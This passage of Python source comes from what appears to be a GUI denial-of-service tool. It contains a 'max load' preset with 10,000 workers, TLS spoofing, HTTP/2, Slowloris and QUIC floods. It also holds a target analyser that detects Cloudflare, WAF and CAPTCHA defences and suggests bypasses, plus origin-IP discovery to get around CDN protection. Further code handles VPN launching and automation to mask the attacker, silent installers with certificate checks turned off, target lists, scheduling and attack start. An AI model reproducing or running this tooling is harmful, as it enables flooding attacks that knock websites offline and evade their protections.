ttk.Label(frame, text=label, style='StatLabel.TLabel').pack(anchor=tk.W)
self.system_status[label] = ttk.Label(frame, text='⏸️ Idle', style='StatValue.TLabel')
self.system_status[label].pack(anchor=tk.W, pady=(4, 0))
self.shield_label = ttk.Label(right_panel, text='🛡️ Protection status pending...', style='Shield.TLabel')
self.shield_label.pack(fill=tk.X, pady=(10, 12))
log_card = ttk.Labelframe(right_panel, text='Activity Log', padding=14, style='Card.TLabelframe')
log_card.pack(fill=tk.BOTH, expand=True)
self.log_text = scrolledtext.ScrolledText(log_card, height=16, bg='#0c1725', fg='#dde5f2', font=('Courier', 10), insertbackground='#ffffff', bd=0, highlightthickness=0)
self.log_text.pack(fill=tk.BOTH, expand=True)
self._configure_log_tags()
self.log('🔥 Interface updated to smooth modern layout.', 'SUCCESS')
self.log('⚡ Attack control, options, and logs are now arranged for clarity.', 'INFO')
def _apply_style(self):
style = ttk.Style()
style.theme_use('clam')
style.configure('Main.TFrame', background='#14202f')
style.configure('Card.TLabelframe', background='#192938', foreground='#99c9ff', bordercolor='#1f2f3f', borderwidth=1)
style.configure('TLabelframe.Label', background='#192938', foreground='#99c9ff', font=('Segoe UI', 10, 'bold'))
style.configure('FieldLabel.TLabel', background='#14202f', foreground='#d8e4f0', font=('Segoe UI', 10, 'bold'))
style.configure('Title.TLabel', background='#14202f', foreground='#ffffff', font=('Segoe UI', 22, 'bold'))
style.configure('Subtitle.TLabel', background='#14202f', foreground='#a5caff', font=('Segoe UI', 11))
style.configure('Status.TLabel', background='#14202f', foreground='#c7e7ff', font=('Segoe UI', 10, 'bold'))
style.configure('FieldEntry.TEntry', fieldbackground='#0f1b2b', foreground='#e3ecf7', background='#0f1b2b')
style.configure('TEntry', fieldbackground='#0f1b2b', foreground='#e3ecf7')
style.configure('TCombobox', fieldbackground='#0f1b2b', foreground='#e3ecf7')
style.configure('TFrame', background='#14202f')
style.configure('Panel.TFrame', background='#14202f')
style.configure('StatFrame.TFrame', background='#12202d')
style.configure('StatLabel.TLabel', background='#12202d', foreground='#88bfff', font=('Segoe UI', 9, 'bold'))
style.configure('StatValue.TLabel', background='#12202d', foreground='#f8fafc', font=('Segoe UI', 12, 'bold'))
style.configure('Shield.TLabel', background='#14202f', foreground='#b3f2d6', font=('Segoe UI', 10, 'bold'))
style.configure('Action.TButton', background='#2563eb', foreground='#ffffff', font=('Segoe UI', 10, 'bold'))
style.configure('Accent.TButton', background='#10b981', foreground='#ffffff', font=('Segoe UI', 10, 'bold'))
style.configure('Secondary.TButton', background='#475569', foreground='#ffffff', font=('Segoe UI', 10, 'bold'))
style.configure('Danger.TButton', background='#ef4444', foreground='#ffffff', font=('Segoe UI', 10, 'bold'))
style.configure('Option.TCheckbutton', background='#14202f', foreground='#d8e4f0', font=('Segoe UI', 10), padding=(6, 4))
style.map('Option.TCheckbutton', background=[('active', '#162a3d')], foreground=[('active', '#ffffff')])
style.configure('TButton', padding=8)
style.map('Action.TButton', background=[('active', '#3b82f6')])
style.map('Accent.TButton', background=[('active', '#34d399')])
style.map('Secondary.TButton', background=[('active', '#64748b')])
style.map('Danger.TButton', background=[('active', '#fb7185')])
self.root.configure(bg='#14202f')
def _configure_log_tags(self):
self.log_text.tag_config('INFO', foreground='#a9ffb3')
self.log_text.tag_config('WARNING', foreground='#ffd166')
self.log_text.tag_config('ERROR', foreground='#ff6b6b')
self.log_text.tag_config('SUCCESS', foreground='#8be9a1')
self.log_text.tag_config('ATTACK', foreground='#ff86c7')
def log(self, message: str, level: str = "INFO"):
timestamp = datetime.datetime.now().strftime("%H:%M:%S")
if hasattr(self, 'log_text'):
self._configure_log_tags()
self.log_text.configure(state=tk.NORMAL)
self.log_text.insert(tk.END, f"[{timestamp}] ", 'INFO')
self.log_text.insert(tk.END, f"{message}\n", level)
self.log_text.configure(state=tk.DISABLED)
self.log_text.see(tk.END)
else:
print(f"[{timestamp}] {message}")
def browse_proxy(self):
filename = filedialog.askopenfilename(title="Select Proxy List", filetypes=(("Text files", "*.txt"), ("All files", "*.*")))
if filename:
self.proxy_file.set(filename)
self.log(f"📁 Proxy file loaded: {filename}", "INFO")
def set_max_load(self):
self.mode_var.set("Integrated")
self.threads.set(10000)
self.duration.set(0)
self.requests.set(50000000)
self.method.set("GET")
self.request_rate.set(0)
self.vpn_mode.set("System Default")
self.use_identities.set(True)
self.use_human_timing.set(False)
self.use_cffi.set(True)
self.use_js_bypass.set(False)
self.use_tcp_spoof.set(True)
self.use_ai_payload.set(True)
self.use_captcha.set(False)
self.use_keepalive.set(True)
self.max_load.set(True)
self.use_http2.set(True)
self.use_random_query.set(True)
self.log("🚀 MAX LOAD ACTIVATED: 10,000 Async Workers, TLS Spoof ON, HTTP/2 ON, Slowloris + QUIC ON.", "SUCCESS")
def _find_executable(self, names, extra_paths=None):
found = []
for name in names:
resolved = shutil.which(name)
if resolved:
found.append(resolved)
for path in extra_paths or []:
if path and os.path.exists(path):
found.append(path)
return sorted(set(found))
def detect_vpn_installation(self):
status = {"Cloudflare WARP": False, "Tuxler VPN": False, "IP Sharkk": False}
if platform.system() != "Windows":
return status
status["Cloudflare WARP"] = bool(self._find_executable(
["warp-cli.exe", "Cloudflare WARP.exe", "warp.exe"],
[
r"C:\Program Files\Cloudflare\Cloudflare WARP\Cloudflare WARP.exe",
r"C:\Program Files (x86)\Cloudflare\Cloudflare WARP\Cloudflare WARP.exe",
r"C:\Program Files\Cloudflare\Cloudflare WARP\warp-cli.exe",
r"C:\Program Files (x86)\Cloudflare\Cloudflare WARP\warp-cli.exe",
r"C:\Program Files\Cloudflare\Cloudflare WARP\warp.exe",
r"C:\Program Files (x86)\Cloudflare\Cloudflare WARP\warp.exe",
]
))
status["Tuxler VPN"] = bool(self._find_executable(
["TuxlerVPN.exe"],
[
os.path.join(os.environ.get('LOCALAPPDATA', ''), r"TuxlerVPN\TuxlerVPN.exe"),
os.path.join(os.environ.get('APPDATA', ''), r"TuxlerVPN\TuxlerVPN.exe"),
r"C:\Program Files\TuxlerVPN\TuxlerVPN.exe",
r"C:\Program Files (x86)\TuxlerVPN\TuxlerVPN.exe",
os.path.join(os.environ.get('LOCALAPPDATA', ''), r"Programs\TuxlerVPN\TuxlerVPN.exe"),
os.path.join(os.environ.get('PROGRAMFILES', ''), r"TuxlerVPN\TuxlerVPN.exe"),
]
))
status["IP Sharkk"] = bool(self._find_executable(
["IP Sharkk.exe", "IPSharkk.exe"],
[
r"C:\Program Files\IP Sharkk\IP Sharkk.exe",
r"C:\Program Files (x86)\IP Sharkk\IP Sharkk.exe",
r"C:\Program Files (x86)\IPSharkk\IPSharkk.exe",
os.path.join(os.environ.get('LOCALAPPDATA', ''), r"Programs\IP Sharkk\IP Sharkk.exe"),
os.path.join(os.environ.get('LOCALAPPDATA', ''), r"Programs\IPSharkk\IPSharkk.exe"),
]
))
return status
def _install_vpn_if_needed(self, name):
self.log(f"[!] {name} not found. Please install manually.")
return False
def _launch_vpn_application(self, name):
if platform.system() != "Windows":
self.log(f"[!] VPN launch is only supported on Windows.", "ERROR")
return False
paths = []
if name == "Cloudflare WARP":
paths = [
r"C:\Program Files\Cloudflare\Cloudflare WARP\Cloudflare WARP.exe",
r"C:\Program Files (x86)\Cloudflare\Cloudflare WARP\Cloudflare WARP.exe",
r"C:\Program Files\Cloudflare\Cloudflare WARP\warp-cli.exe",
r"C:\Program Files (x86)\Cloudflare\Cloudflare WARP\warp-cli.exe",
r"C:\Program Files\Cloudflare\Cloudflare WARP\warp.exe",
r"C:\Program Files (x86)\Cloudflare\Cloudflare WARP\warp.exe",
]
elif name == "Tuxler VPN":
paths = [
os.path.join(os.environ.get('LOCALAPPDATA', ''), r"TuxlerVPN\TuxlerVPN.exe"),
os.path.join(os.environ.get('APPDATA', ''), r"TuxlerVPN\TuxlerVPN.exe"),
r"C:\Program Files\TuxlerVPN\TuxlerVPN.exe",
r"C:\Program Files (x86)\TuxlerVPN\TuxlerVPN.exe",
]
elif name == "IP Sharkk":
paths = [
r"C:\Program Files\IP Sharkk\IP Sharkk.exe",
r"C:\Program Files (x86)\IP Sharkk\IP Sharkk.exe",
r"C:\Program Files (x86)\IPSharkk\IPSharkk.exe",
os.path.join(os.environ.get('LOCALAPPDATA', ''), r"Programs\IP Sharkk\IP Sharkk.exe"),
os.path.join(os.environ.get('LOCALAPPDATA', ''), r"Programs\IPSharkk\IPSharkk.exe"),
]
exe_path = None
for path in paths:
if path and os.path.exists(path):
exe_path = path
break
if not exe_path:
self.log(f"[!] {name} executable not found on disk.", "ERROR")
return False
try:
subprocess.Popen([exe_path], shell=False)
self.log(f"✅ Launched {name} application: {exe_path}", "SUCCESS")
return True
except Exception as e:
self.log(f"[!] Failed to launch {name}: {e}", "ERROR")
return False
def _launch_tuxler_application(self, is_data_center: bool = False) -> bool:
if platform.system() != "Windows":
self.log(f"[!] Tuxler launch is only supported on Windows.", "ERROR")
return False
Application = None
timings = None
try:
from pywinauto import Application, timings
except Exception as e:
self.log(f"[!] pywinauto is not available: {e}", "WARNING")
paths = [
os.path.join(os.environ.get('LOCALAPPDATA', ''), r"TuxlerVPN\TuxlerVPN.exe"),
os.path.join(os.environ.get('APPDATA', ''), r"TuxlerVPN\TuxlerVPN.exe"),
r"C:\Program Files\TuxlerVPN\TuxlerVPN.exe",
r"C:\Program Files (x86)\TuxlerVPN\TuxlerVPN.exe",
]
exe_path = next((p for p in paths if p and os.path.exists(p)), None)
if not exe_path:
self.log("[!] Could not find Tuxler VPN executable. Please install or start it manually.", "ERROR")
return False
try:
subprocess.Popen([exe_path], shell=False)
self.log(f"✅ Launched Tuxler VPN: {exe_path}", "SUCCESS")
time.sleep(5)
except Exception as e:
self.log(f"[!] Failed to launch Tuxler VPN: {e}", "ERROR")
return False
if Application:
try:
app = Application(backend="uia").connect(path=exe_path)
dlg = app.top_window()
dlg.set_focus()
if is_data_center:
for ctrl in dlg.descendants(control_type="Button"):
text = ctrl.window_text().lower()
if ("data" in text and "center" in text) or "protected" in text:
ctrl.click_input()
self.log("✅ Clicked Tuxler Data Center / Protected button.", "SUCCESS")
return True
self._click_window_button_by_title(dlg, ["data", "center", "protected"])
self.log("✅ Tuxler window opened successfully.", "SUCCESS")
return True
except Exception as e:
self.log(f"[!] pywinauto could not automate Tuxler: {e}", "WARNING")
hwnd = self._find_window_handle(["tuxler", "vpn"])
if hwnd:
self._bring_window_to_front(hwnd)
if is_data_center:
self._click_window_button(hwnd, 0.50, 0.40)
time.sleep(0.3)
self._click_window_button(hwnd, 0.50, 0.70)
self.log("✅ Attempted Data Center activation via mouse automation.", "SUCCESS")
else:
self._click_window_button(hwnd, 0.50, 0.50)
self.log("✅ Clicked Tuxler window center to activate the app.", "SUCCESS")
return True
self.log("[!] Could not locate Tuxler window after launch. The app may still be starting.", "WARNING")
return True
def _find_window_handle(self, keywords: list[str]) -> Optional[int]:
import ctypes
user32 = ctypes.windll.user32
hwnds = []
EnumWindowsProc = ctypes.WINFUNCTYPE(ctypes.c_bool, ctypes.c_void_p, ctypes.c_void_p)
def _enum_windows(hwnd, lparam):
if user32.IsWindowVisible(hwnd):
length = user32.GetWindowTextLengthW(hwnd)
if length > 0:
buff = ctypes.create_unicode_buffer(length + 1)
user32.GetWindowTextW(hwnd, buff, length + 1)
title = buff.value.lower()
if any(keyword.lower() in title for keyword in keywords):
hwnds.append(hwnd)
return False
return True
user32.EnumWindows(EnumWindowsProc(_enum_windows), 0)
return hwnds[0] if hwnds else None
def _bring_window_to_front(self, hwnd: int):
import ctypes
user32 = ctypes.windll.user32
if user32.IsIconic(hwnd):
user32.ShowWindow(hwnd, 9)
user32.SetForegroundWindow(hwnd)
time.sleep(0.4)
def _click_window_button(self, hwnd: int, rel_x: float, rel_y: float):
import ctypes
rect = ctypes.wintypes.RECT()
ctypes.windll.user32.GetWindowRect(hwnd, ctypes.byref(rect))
x = rect.left + int((rect.right - rect.left) * rel_x)
y = rect.top + int((rect.bottom - rect.top) * rel_y)
ctypes.windll.user32.SetCursorPos(x, y)
ctypes.windll.user32.mouse_event(0x0002, 0, 0, 0, 0)
time.sleep(0.06)
ctypes.windll.user32.mouse_event(0x0004, 0, 0, 0, 0)
time.sleep(0.18)
def _click_window_button_by_title(self, dlg, keywords: list[str]):
try:
for ctrl in dlg.descendants(control_type="Button"):
text = ctrl.window_text().lower()
if any(keyword in text for keyword in keywords):
ctrl.click_input()
return True
except Exception:
pass
return False
def check_and_install_dependencies(self):
self.log("[⚙️] System Dependency Check Starting...", "INFO")
self.log("=" * 50, "INFO")
import platform
current_os = platform.system()
self.log(f" [🖥️] OS Detected: {current_os} ({platform.platform()})", "INFO")
self.log("", "INFO")
# ---- Phase 1: Python Packages ----
pip_packages = {
"curl_cffi": "curl_cffi",
"playwright": "playwright",
"scapy": "scapy",
"bs4": "beautifulsoup4",
}
missing_pip = []
playwright_installed = False
for import_name, pip_name in pip_packages.items():
try:
__import__(import_name)
self.log(f" [✅] {pip_name}", "SUCCESS")
if import_name == "playwright":
playwright_installed = True
except ImportError:
self.log(f" [❌] {pip_name} - MISSING", "ERROR")
missing_pip.append(pip_name)
# ---- Phase 2: Check VPN/Proxy Software ----
self.log("", "INFO")
missing_vpns = {}
if current_os == "Windows":
self.log("[⚙️] Checking VPN/Proxy Software (Windows)...", "INFO")
vpn_apps = {
"Cloudflare WARP": {
"paths": [
r"C:\Program Files\Cloudflare\Cloudflare WARP\Cloudflare WARP.exe",
r"C:\Program Files (x86)\Cloudflare\Cloudflare WARP\Cloudflare WARP.exe",
r"C:\Program Files\Cloudflare\Cloudflare WARP\warp-cli.exe",
r"C:\Program Files (x86)\Cloudflare\Cloudflare WARP\warp-cli.exe",
r"C:\Program Files\Cloudflare\Cloudflare WARP\warp.exe",
r"C:\Program Files (x86)\Cloudflare\Cloudflare WARP\warp.exe",
],
"names": ["warp-cli.exe", "Cloudflare WARP.exe", "warp.exe"],
"download_url": "https://1111-releases.cloudflareclient.com/windows/Cloudflare_WARP_Release-x64.msi",
"filename": "Cloudflare_WARP.msi",
"install_type": "msi",
},
"Tuxler VPN": {
"paths": [
os.path.join(os.environ.get('LOCALAPPDATA', ''), r"TuxlerVPN\TuxlerVPN.exe"),
os.path.join(os.environ.get('APPDATA', ''), r"TuxlerVPN\TuxlerVPN.exe"),
r"C:\Program Files\TuxlerVPN\TuxlerVPN.exe",
r"C:\Program Files (x86)\TuxlerVPN\TuxlerVPN.exe",
os.path.join(os.environ.get('LOCALAPPDATA', ''), r"Programs\TuxlerVPN\TuxlerVPN.exe"),
os.path.join(os.environ.get('PROGRAMFILES', ''), r"TuxlerVPN\TuxlerVPN.exe"),
],
"names": ["TuxlerVPN.exe"],
"download_url": "https://api.tuxlervpn.com/extension_event.php?id=download_desktop_win",
"filename": "TuxlerVPN_Setup.exe",
"install_type": "exe",
"download_headers": {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.9",
"Referer": "https://www.tuxlervpn.com/download-windows/",
},
},
"IP Sharkk": {
"paths": [
r"C:\Program Files\IP Sharkk\IP Sharkk.exe",
r"C:\Program Files (x86)\IP Sharkk\IP Sharkk.exe",
r"C:\Program Files (x86)\IPSharkk\IPSharkk.exe",
os.path.join(os.environ.get('LOCALAPPDATA', ''), r"Programs\IP Sharkk\IP Sharkk.exe"),
os.path.join(os.environ.get('LOCALAPPDATA', ''), r"Programs\IPSharkk\IPSharkk.exe"),
],
"names": ["IP Sharkk.exe", "IPSharkk.exe"],
}
}
for name, info in vpn_apps.items():
found_paths = self._find_executable(info.get("names", []), info.get("paths", []))
if found_paths:
self.log(f" [✅] {name} - Installed ({found_paths[0]})", "SUCCESS")
else:
self.log(f" [❌] {name} - NOT FOUND", "ERROR")
if info.get("download_url"):
missing_vpns[name] = info
elif current_os == "Linux":
self.log("[⚙️] Checking VPN/Proxy Software (Linux)...", "INFO")
warp_installed = os.path.exists("/usr/bin/warp-cli") or os.path.exists("/usr/local/bin/warp-cli")
if warp_installed:
self.log(" [✅] Cloudflare WARP - Installed", "SUCCESS")
else:
self.log(" [❌] Cloudflare WARP - NOT FOUND", "ERROR")
missing_vpns["Cloudflare WARP (Linux)"] = {"install_type": "linux_warp"}
openvpn_installed = os.path.exists("/usr/sbin/openvpn") or os.path.exists("/usr/bin/openvpn")
if openvpn_installed:
self.log(" [✅] OpenVPN - Installed", "SUCCESS")
else:
self.log(" [❌] OpenVPN - NOT FOUND", "ERROR")
missing_vpns["OpenVPN (Linux)"] = {"install_type": "linux_openvpn"}
else:
self.log(f"[⚠️] {current_os} OS detected. VPN auto-installation not supported.", "WARNING")
# ---- Phase 3: Install Everything ----
needs_browser_install = playwright_installed or "playwright" in missing_pip
if not missing_pip and not missing_vpns and not needs_browser_install:
self.log("", "INFO")
self.log("[🚀] All dependencies ready! Full stealth mode available.", "SUCCESS")
return
if not missing_pip and not missing_vpns and needs_browser_install:
self.log("", "INFO")
self.log("[⚠️] Playwright detected: verifying Chromium installation...", "WARNING")
else:
self.log("", "INFO")
self.log(f"[*] Auto-installing {len(missing_pip)} packages + {len(missing_vpns)} VPN apps...", "WARNING")
self.start_btn.config(state=tk.DISABLED)
def installer_thread():
downloads_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), "downloads")
os.makedirs(downloads_dir, exist_ok=True)
def download_with_fallback(url, filepath, headers=None, name=None):
headers = headers or {"User-Agent": "Mozilla/5.0", "Accept": "application/octet-stream", "Accept-Language": "en-US,en;q=0.9"}
for attempt in range(3):
try:
req = urllib.request.Request(url, headers=headers)
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
with urllib.request.urlopen(req, context=ctx, timeout=120) as resp:
data = resp.read()
with open(filepath, "wb") as f:
f.write(data)
return True
except Exception:
try:
import requests
resp = requests.get(url, headers=headers, timeout=120, allow_redirects=True)
if resp.status_code == 200 and resp.content:
with open(filepath, "wb") as f:
f.write(resp.content)
return True
except Exception:
pass
if name == "Tuxler VPN" and attempt == 0:
try:
page_url = "https://www.tuxlervpn.com/download-windows/"
page_req = urllib.request.Request(page_url, headers={
"User-Agent": headers.get("User-Agent"),
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": headers.get("Accept-Language"),
"Referer": "https://www.tuxlervpn.com/download-windows/",
})
with urllib.request.urlopen(page_req, context=ctx, timeout=120) as page_resp:
page_html = page_resp.read().decode("utf-8", errors="ignore")
match = re.search(r'href=["\']([^"\']*TuxlerVPN[^"\']*\.exe)["\']', page_html)
if match:
url = urllib.parse.urljoin(page_url, match.group(1))
continue
except Exception:
pass
time.sleep(2)
return False
# --- Linux: Install system dependencies first ---
if current_os == "Linux" and missing_pip:
self.root.after(0, self.log, " [🐧] Installing Linux system dependencies...", "INFO")
linux_deps = [
["sudo", "apt-get", "update", "-qq"],
["sudo", "apt-get", "install", "-y", "-qq", "libcurl4-openssl-dev", "libssl-dev", "python3-pip", "python3-dev", "build-essential", "chromium-browser"],
]
for dep_cmd in linux_deps:
try:
subprocess.run(dep_cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=120)
except Exception:
pass
# --- Install pip packages ---
for pkg in missing_pip:
self.root.after(0, self.log, f" [📦] pip install {pkg}...", "INFO")
try:
pip_cmd = [sys.executable, "-m", "pip", "install", pkg]
if current_os == "Linux":
pip_cmd.append("--user")
subprocess.check_call(pip_cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
self.root.after(0, self.log, f" [✅] {pkg} installed!", "SUCCESS")
except Exception as e:
if current_os == "Linux":
try:
subprocess.check_call(["pip3", "install", "--user", pkg], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
self.root.after(0, self.log, f" [✅] {pkg} installed (via pip3)!", "SUCCESS")
continue
except Exception:
pass
self.root.after(0, self.log, f" [❌] {pkg} failed: {e}", "ERROR")
# --- Install or verify Playwright Chromium browser ---
if playwright_installed or "playwright" in missing_pip:
self.root.after(0, self.log, " [🌐] Ensuring Playwright Chromium browser is installed...", "INFO")
try:
subprocess.check_call([sys.executable, "-m", "playwright", "install", "chromium"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
self.root.after(0, self.log, " [✅] Playwright Chromium ready!", "SUCCESS")
except Exception as e:
self.root.after(0, self.log, f" [❌] Playwright Chromium install failed: {e}", "ERROR")
else:
self.root.after(0, self.log, " [✅] Chromium verification skipped (Playwright unavailable).", "INFO")
# --- Install VPN Software ---
for name, info in missing_vpns.items():
install_type = info.get("install_type")
if install_type == "linux_warp":
self.root.after(0, self.log, f" [⬇️] Installing {name} via apt...", "INFO")
try:
cmds = [
["sudo", "apt-get", "install", "-y", "-qq", "curl", "gpg"],
["bash", "-c", "curl -fsSL https://pkg.cloudflareclient.com/pubkey.gpg | sudo gpg --yes --dearmor -o /usr/share/keyrings/cloudflare-warp-archive-keyring.gpg"],
["bash", "-c", "echo 'deb [signed-by=/usr/share/keyrings/cloudflare-warp-archive-keyring.gpg] https://pkg.cloudflareclient.com/ bookworm main' | sudo tee /etc/apt/sources.list.d/cloudflare-client.list"],
["sudo", "apt-get", "update", "-qq"],
["sudo", "DEBIAN_FRONTEND=noninteractive", "apt-get", "install", "-y", "-qq", "cloudflare-warp"],
]
for cmd in cmds:
subprocess.run(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=120)
warp_bin = "/usr/bin/warp-cli" if os.path.exists("/usr/bin/warp-cli") else "warp-cli"
subprocess.run([warp_bin, "registration", "new"], capture_output=True, timeout=15)
subprocess.run([warp_bin, "connect"], capture_output=True, timeout=15)
self.root.after(0, self.log, f" [✅] {name} installed and connected!", "SUCCESS")
except Exception as e:
self.root.after(0, self.log, f" [❌] {name} install failed: {e}", "ERROR")
elif install_type == "linux_openvpn":
self.root.after(0, self.log, f" [⬇️] Installing {name} via apt...", "INFO")
try:
subprocess.run(["sudo", "apt-get", "install", "-y", "-qq", "openvpn"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=120)
self.root.after(0, self.log, f" [✅] {name} installed!", "SUCCESS")
except Exception as e:
self.root.after(0, self.log, f" [❌] {name} install failed: {e}", "ERROR")
elif install_type in ("msi", "exe"):
url = info.get("download_url")
filename = info.get("filename")
if not url or not filename:
continue
filepath = os.path.join(downloads_dir, filename)
if os.path.exists(filepath):
self.root.after(0, self.log, f" [📁] {name} installer already downloaded: {filepath}", "INFO")
else:
self.root.after(0, self.log, f" [⬇️] Downloading {name} installer...", "INFO")
headers = info.get("download_headers", {"User-Agent": "Mozilla/5.0"})
success = download_with_fallback(url, filepath, headers=headers, name=name)
if success:
size_mb = os.path.getsize(filepath) / (1024 * 1024)
self.root.after(0, self.log, f" [✅] {name} downloaded! ({size_mb:.1f} MB)", "SUCCESS")
else:
self.root.after(0, self.log, f" [❌] {name} download failed after retries", "ERROR")
continue
self.root.after(0, self.log, f" [⚡] Auto-installing {name}...", "INFO")
try:
if install_type == "msi":
subprocess.Popen(["msiexec.exe", "/i", filepath, "/quiet", "/qn", "/norestart"])
elif install_type == "exe":
subprocess.Popen([filepath, "/S"])
self.root.after(0, self.log, f" [✅] {name} installation started.", "SUCCESS")
except Exception as inst_err:
self.root.after(0, self.log, f" [⚠️] Auto-install failed. Run manually: {filepath}", "WARNING")
self.root.after(0, self.log, "", "INFO")
self.root.after(0, self.log, "[🚀] Auto-setup complete! All features are now available.", "SUCCESS")
self.root.after(0, lambda: self.start_btn.config(state=tk.NORMAL))
threading.Thread(target=installer_thread, daemon=True).start()
def analyze_target(self):
target = self.target.get().strip()
if not target:
messagebox.showerror("Error", "Please enter a target URL")
return
self.log(f"🔍 Analyzing target: {target}", "INFO")
threading.Thread(target=self._analyze_target_thread, args=(target,), daemon=True).start()
def _analyze_target_thread(self, target):
import requests, ssl
result = {"url": target, "status": "UNKNOWN", "code": None, "protection": [], "suggestions": [], "up": False}
try:
session = requests.Session()
session.trust_env = False
session.headers.update({'User-Agent': random.choice(USER_AGENTS)})
resp = session.get(target, timeout=10, verify=False)
result["code"] = resp.status_code
result["up"] = True
html = resp.text[:4096].lower()
result["response_time"] = resp.elapsed.total_seconds() * 1000
headers = {k.lower(): v.lower() for k, v in resp.headers.items()}
if 'cf-ray' in headers or 'cloudflare' in headers.get('server', ''):
result["protection"].append("Cloudflare")
if 'x-amz' in str(headers):
result["protection"].append("AWS WAF/CloudFront")
if 'x-sucuri' in headers:
result["protection"].append("Sucuri WAF")
if 'x-ddos' in headers:
result["protection"].append("DDoS-GUARD")
if 'just a moment' in html:
result["protection"].append("Cloudflare JS Challenge")
if 'g-recaptcha' in html or 'h-captcha' in html:
result["protection"].append("CAPTCHA")
if not result["protection"]:
result["suggestions"].append("No protection detected – use high-speed flood")
else:
if "Cloudflare" in result["protection"]:
result["suggestions"].append("Enable TLS Spoof + JS Bypass")
if "CAPTCHA" in result["protection"]:
result["suggestions"].append("Use 2Captcha API key")
self.root.after(0, self._show_analysis_result, result)
except requests.exceptions.HTTPError as e:
result["code"] = e.response.status_code if e.response is not None else None
result["up"] = False
if result["code"] == 403:
result["protection"].append("WAF (403)")
result["suggestions"].append("Try TLS Spoof or change User-Agent")
elif result["code"] == 429:
result["protection"].append("Rate Limiting")
result["suggestions"].append("Slow down or use proxies")
elif result["code"] in (500, 502, 503, 504):
result["protection"].append("Server Error – might be down")
self.root.after(0, self._show_analysis_result, result)
except requests.exceptions.RequestException as e:
result["error"] = str(e)
if 'socks' in result["error"].lower() or 'proxy' in result["error"].lower():
result["suggestions"].append("Proxy/SOCKS issue detected. Disable local proxy or set System Default VPN.")
self.root.after(0, self._show_analysis_result, result)
except Exception as e:
result["error"] = str(e)
self.root.after(0, self._show_analysis_result, result)
def _show_analysis_result(self, result):
msg = f"📊 Target Analysis Report\n"
msg += f"URL: {result['url']}\n"
msg += f"Status: {'🟢 UP' if result.get('up') else '🔴 DOWN'}\n"
msg += f"HTTP Code: {result.get('code', 'N/A')}\n"
if result.get('response_time'):
msg += f"Response Time: {result['response_time']:.0f} ms\n"
msg += f"Protections: {', '.join(result.get('protection', ['None']))}\n"
msg += f"Suggestions: {', '.join(result.get('suggestions', ['No specific advice']))}\n"
if result.get('error'):
msg += f"Error: {result['error']}\n"
messagebox.showinfo("Analysis Result", msg)
self.log(f"[Analysis] {result['url']} – {result.get('protection', ['None'])}")
def find_origin_ip_ui(self):
target = self.target.get().strip()
if not target:
messagebox.showwarning("Input required", "Please enter a target URL first.")
return
parsed = urllib.parse.urlparse(target)
hostname = parsed.hostname or target
self.log(f"🔎 Finding origin IP for {hostname}", "INFO")
results = find_origin_ip(hostname)
message = "\n".join([f"{item['ip']}{':' + str(item['port']) if item['port'] else ''}" for item in results]) or "No origin IPs found."
messagebox.showinfo("Origin IP Results", message)
self.log(f"✅ Origin IP discovery completed: {message}", "SUCCESS")
def load_targets_ui(self):
path = filedialog.askopenfilename(title="Select target list file", filetypes=[("Text files", "*.txt"), ("All files", "*")])
if not path:
return
targets = load_targets_from_file(path)
if not targets:
messagebox.showwarning("No targets", "No valid targets were found in the selected file.")
return
self.log(f"📄 Loaded {len(targets)} targets from {os.path.basename(path)}", "INFO")
self.target.set(targets[0])
self.loaded_targets = targets
def schedule_attack_ui(self):
schedule_time = simpledialog.askstring("Schedule Attack", "Enter attack time (YYYY-MM-DD HH:MM):")
if not schedule_time:
return
try:
datetime.datetime.strptime(schedule_time, "%Y-%m-%d %H:%M")
self.log(f"⏰ Attack scheduled for {schedule_time}", "INFO")
messagebox.showinfo("Scheduled", f"Attack scheduled for {schedule_time}")
except Exception:
messagebox.showerror("Invalid format", "Please use YYYY-MM-DD HH:MM format.")
self.log("❌ Invalid schedule format entered.", "ERROR")
return
def start_attack(self):
if self.attack_running:
return
target = self.target.get().strip()
if not target:
messagebox.showerror("Error", "Please enter a target URL")
return
vpn_selection = self.vpn_mode.get()
if vpn_selection not in ("System Default", ""):
vpn_status = self.detect_vpn_installation()
if "Cloudflare" in vpn_selection and not vpn_status.get("Cloudflare WARP"):
messagebox.showerror("VPN Not Found", "Cloudflare WARP is not installed or detected on this system. Please install it or select System Default.")
return
elif "Tuxler" in vpn_selection and not vpn_status.get("Tuxler VPN"):
messagebox.showerror("VPN Not Found", "Tuxler VPN is not installed or detected on this system. Please install it or select System Default.")
return
elif "IP Sharkk" in vpn_selection and not vpn_status.get("IP Sharkk"):
messagebox.showerror("VPN Not Found", "IP Sharkk is not installed or detected on this system. Please install it or select System Default.")
return
if "Tuxler" in vpn_selection:
is_data_center = "Data Center" in vpn_selection
if not self._launch_tuxler_application(is_data_center=is_data_center):
messagebox.showerror("VPN Launch Failed", "Could not launch Tuxler VPN. Please open it manually and try again.")
return
else:
vpn_name = "Cloudflare WARP" if "Cloudflare" in vpn_selection else "IP Sharkk"
if not self._launch_vpn_application(vpn_name):
messagebox.showerror("VPN Launch Failed", f"Could not launch {vpn_name}. Please open it manually and try again.")
return
self.attack_running = True
self.start_btn.config(state=tk.DISABLED, text="⚡ ATTACKING...")
self.stop_btn.config(state=tk.NORMAL)
self.status_bar.config(text="🔥 ATTACK IN PROGRESS...")
for label in self.stats_labels.values():
label.config(text="0")
self.log(f"🔥 STARTING ATTACK ON: {target}", "ATTACK")
self.log(f"🧵 Threads: {self.threads.get()} | Duration: {self.duration.get()}s", "INFO")
mode = self.mode_var.get()
self.attack_thread = threading.Thread(target=self._attack_loop, args=(mode,), daemon=True)
self.attack_thread.start()
